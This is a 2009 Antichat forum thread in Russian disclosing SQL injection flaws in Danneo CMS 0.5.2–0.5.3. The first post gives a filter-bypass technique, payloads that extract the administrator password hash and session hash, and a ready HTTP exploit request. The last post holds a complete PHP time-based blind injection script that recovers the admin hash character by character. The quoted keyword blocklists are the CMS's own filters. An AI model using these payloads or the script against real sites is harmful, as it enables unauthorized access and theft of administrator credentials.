ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Danneo CMS <= 0.5.2 Remote SQL-injection
  #1  
Старый 03.01.2009, 18:29
Аватар для [Raz0r]
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию Danneo CMS <= 0.5.2 Remote SQL-injection

Danneo CMS - одна из самых успешных русских CMS с открытым исходным кодом. По своему опыту могу сказать, что в рунете довольно распространена. Однажды уже находил баги в этой CMS, но с выходом версии 0.5.2 (последняя на данный момент) их устранили.

Новая обнаруженная уязвимость находится в модуле голосований при добавлении комментариев.

Уязвимый код (/mod/poll/comment.php@124-130):

PHP код:
$comtext=($setting['peditor']=="yes") ? commentparse($comtext) : deltags(commentparse($comtext));
$comname = (preparse($usermain['logged'],THIS_INT)==&& preparse($usermain['userid'],THIS_INT)>0) ? $usermain['uname'] : substr(deltags($comname),0,50);
$comtitle substr(deltags($comtitle),0,255);

$in $db->query("INSERT INTO ".$basepref."_polling_comment VALUES
                 (NULL,'"
.$id."','".$usermain['userid']."','".NEWTIME."',
                 '
$comname','$comtitle','$comtext','".REMOTE_ADDRS."')"); 
Уязвимость возникает после обрезания строки в переменной $comtitle до 255 символов, что дает возможность проведения фрагментированной SQL-инъекции.
Однако реализация уязвимости затрудняется фильтром (/base/danneo.track.php):

PHP код:
$baddata = array("UNION",
                 
"OUTFILE",
                 
"FROM",
                 
"SELECT",
                 
"WHERE",
                 
"SHUTDOWN",
                 
"UPDATE",
                 
"DELETE",
                 
"CHANGE",
                 
"MODIFY",
                 
"RENAME",
                 
"RELOAD",
                 
"ALTER",
                 
"GRANT",
                 
"DROP",
                 
"INSERT",
                 
"CONCAT",
                 
"cmd",
                 
"exec",
                 
"--"
         
/* ... */
                 
);
foreach(
$_REQUEST as $params => $inputdata){
    foreach(
$baddata as $badkey => $badvalue){
        if(
is_string($inputdata) && eregi($badvalue,$inputdata)){ $badcount=1; }
    }

Фильтр можно успешно обойти, используя нулл-байт, который не будет экранироваться при magic_quotes_gpc=on.
(/base/danneo.function.php):
PHP код:
if(!ini_get("register_globals") || (@get_cfg_var('register_globals')==1)){
//@import_request_variables('GPC');
@extract($_COOKIE,EXTR_SKIP);
@
extract($_POST,EXTR_SKIP);
@
extract($_GET,EXTR_SKIP);
@
extract($_REQUEST,EXTR_SKIP);
/* ... */
if(get_magic_quotes_gpc()) {
if(
$_POST$_POST stripslashesall($_POST);
if(
$_GET$_GET stripslashesall($_GET);
if(
$_REQUEST$_REQUEST stripslashesall($_REQUEST);
if(
$_COOKIE$_COOKIE stripslashesall($_COOKIE);

Из кода выше следует, что при попадании в фильтр нулл-байт останется без экранирования после обработки массива _REQUEST функцией stripslashesall(), однако
переменные $comname, $comtitle, $comtext будут экранироваться при magic_quotes_gpc=on, так как они извлекаются не из глобальных массивов с отчищенными входящими данными, а из локального пространства.
Это происходит, так как extract() предшествует stripslashesall().

Несмотря на экранирование, уязвимость можно реализовать при следующих значениях:
$comname a-z значение от 5 символов до 10
$comtitle 254 символа + кавычка
$comtext /*%00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -

В итоге, конечный запрос будет таким:
Цитата:
INSERT INTO dn052_polling_comment VALUES
(NULL,'1','0','1230987393',
'lololo','a[252 пробела]b\','/*\0*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -','127.0.0.1')
После substr() появляется \, который экранирует следующую кавычку и делает возможным выполнения SQL-кода в $comtext.
Для предотвращения возникновения ошибки синтаксиса нулл-байт (заметьте, здесь он уже подвергся экранированию) заключается между символами комментариев /* */.
В итоге при показе комментариев к голосованию в поле текста появляется значение md5 хэша админа. Также можно получить идентификатор сессии администратора, если он авторизован и время жизни сессии еще не истекло:
$comtext /*%00*/, (SELECT hash FROM dn052_admin_sess LIMIT 1), 1)-- -
Префикс таблицы можно узнать, если в настройках CMS включен debug-режим для MySQL. Для этого необходимо вызвать преднамеренную ошибку синтаксиса.
При magic_quotes_gpc=off в $comtitle кавычку необходимо заменить на \, а 254 символа можно вообще убрать.

В итоге запрос будет таким (необходимо указывать капчу):

Код:
POST /index.php?dn=poll HTTP/1.0
User-Agent: Opera/9.63 (Windows NT 6.0; U; ru) Presto/2.1.1
Host: danneo
Referer: http://danneo/index.php?dn=poll&to=open&id=1
Content-Type: application/x-www-form-urlencoded
Connection: close

comname=lololo&comtitle=a++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++b%27&comtext=%2F%2A%2500%2A%2F%2C+%28SELECT+adpwd+FROM+dn052_admin+LIMIT+1%29%2C+1%29--+-&captcha=56334&id=1&ajax=0&re=comment
Также присутсвует раскрытие путей:
/index.php?re=%00

Greetz to Elekt!

Последний раз редактировалось [Raz0r]; 03.01.2009 в 18:33..
 
Ответить с цитированием

Danneo CMS 0.5.3
  #2  
Старый 27.05.2009, 23:45
Аватар для Soul Linker
Soul Linker
Новичок
Регистрация: 05.09.2006
Сообщений: 15
Провел на форуме:
72328

Репутация: 5
По умолчанию Danneo CMS 0.5.3

Сайт http://danneo.com/down/open/CMS_Danneo_0_5_3.html
Нашел /mod/subscribe/index.php __LINE__ 110:
$db->query("INSERT INTO ".$basepref."_subscribe_users VALUES (NULL,'$subname','$submail','$subformat','$sa','0','".NEWTIME."')");
и много еще подобного, но /base/danneo.track.php ужасен ибо
PHP код:
$baddata = array("ALTER",
                 
"BENCHMARK",
                 
"CHANGE",
                 
"CMD",
                 
"CONCAT",
                 
"DELETE",
                 
"DROP",
                 
"EXEC",
                 
"FROM",
                 
"GRANT",
                 
"INSERT",
                 
"MODIFY",
                 
"OUTFILE",
                 
"RENAME",
                 
"RELOAD",
                 
"SELECT",
                 
"SHUTDOWN",
                 
"SLEEP",
                 
"UNION",
                 
"UPDATE",
                 
"WHERE",
                 
"--",
                 
// HTML LINE
                 
"\([^>]*\"?[^)]*\)",
                 
"<[^>]*body*\"?[^>]*>",
                 
"<[^>]*script*\"?[^>]*>",
                 
"<[^>]*object*\"?[^>]*>",
                 
"<[^>]*iframe*\"?[^>]*>",
                 
"<[^>]*img*\"?[^>]*>",
                 
"<[^>]*frame*\"?[^>]*>",
                 
"<[^>]*applet*\"?[^>]*>",
                 
"<[^>]*meta*\"?[^>]*>",
                 
"<[^>]*style*\"?[^>]*>",
                 
"<[^>]*form*\"?[^>]*>",
                 
"<[^>]*div*\"?[^>]*>"); 
фигачится по всему REQUEST'у, хотя и не заходит в массивы.
У кого что есть еще?
 
Ответить с цитированием

  #3  
Старый 02.06.2009, 22:24
Аватар для Soul Linker
Soul Linker
Новичок
Регистрация: 05.09.2006
Сообщений: 15
Провел на форуме:
72328

Репутация: 5
По умолчанию

Вроде нашел блинд...
PHP код:
<?php

//by SoulLinker

set_time_limit(0);

function 
send_packet($host$port$packet)
{
    
$fp = @fsockopen($host$port$errno$errstr5);

    if (!
$fp)
    {
        
$fl fopen('packet_dan_error.log''ab');
        
fputs($fl$packet."\n");
        
fclose($fl);
        
        return 
false;
    } 

    
fwrite($fp$packet);
    echo 
'send ';
    
$out '';
    while (
$res fread($fp128))
    {
        
$out .= $res;
        echo 
'.';
    }
    
    
$len strlen($out);
    echo 
' ['.$len."]\n";

    if (
$len 1000)
    {
        
$fl fopen('packet_dan.log''ab');
        
fputs($fl$packet."\n".$out."\n\n");
        
fclose($fl);
    }
        
    
fclose($fp);
}

function 
packet($host$path$data)
{
    
$buf = array();
    
$buf[] = "GET $path HTTP/1.0";
    
$buf[] = "Host: $host";
    
$buf[] = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10";
    
$buf[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
    
$buf[] = "Connection: close";
    
$buf[] = "Cookie: subformat=".urlencode($data);
    
$buf[] = '';
    
$buf[] = '';
    
    
$packet join("\r\n"$buf);
    
    return 
$packet;
}

$md5 '';
$hash_symbols = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

$host 'work5.local';
$prefix 'dn053_';

for (
$i 1$i <= 32$i++)
{
    
$found false;
    foreach (
$hash_symbols as $chr)
    {
//        $mail = 'a'.rand(10000, 99999).'@a'.rand(10000, 99999);
        
$mail 'a'.rand(1000099999).'@mail.ru';
        
$path '/index.php?dn=subscribe&to=check&submail='.$mail.'&subname=soullinker';
        
        
$timestart time();
        
$statement "(SeLeCT sUBstR(adpwd,$i,1) fRom ".$prefix."admin WherE admid=1)='$chr'";
        
$data "1', '878', IF(".$statement.", beNchMARK(5000000, md5(now())),'1'), '789') -- ";
        
$packet packet($host$path$data);
        
send_packet($host80$packet);
        
$timeend time();
        
$timediff $timeend $timestart;
        echo 
'Time: '.$timediff."\n";
        if (
$timediff >= 4)
        {
            
$found true;
            
$md5 .= $chr; echo 'MD5: ['.$md5.str_repeat('.'32 $i)."]\n";
            break;
        }
    }
    if (!
$found)
    {
        die(
' FAILED (wrong prefix?) ');
    }
}

echo 
"\n__DONE__";
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ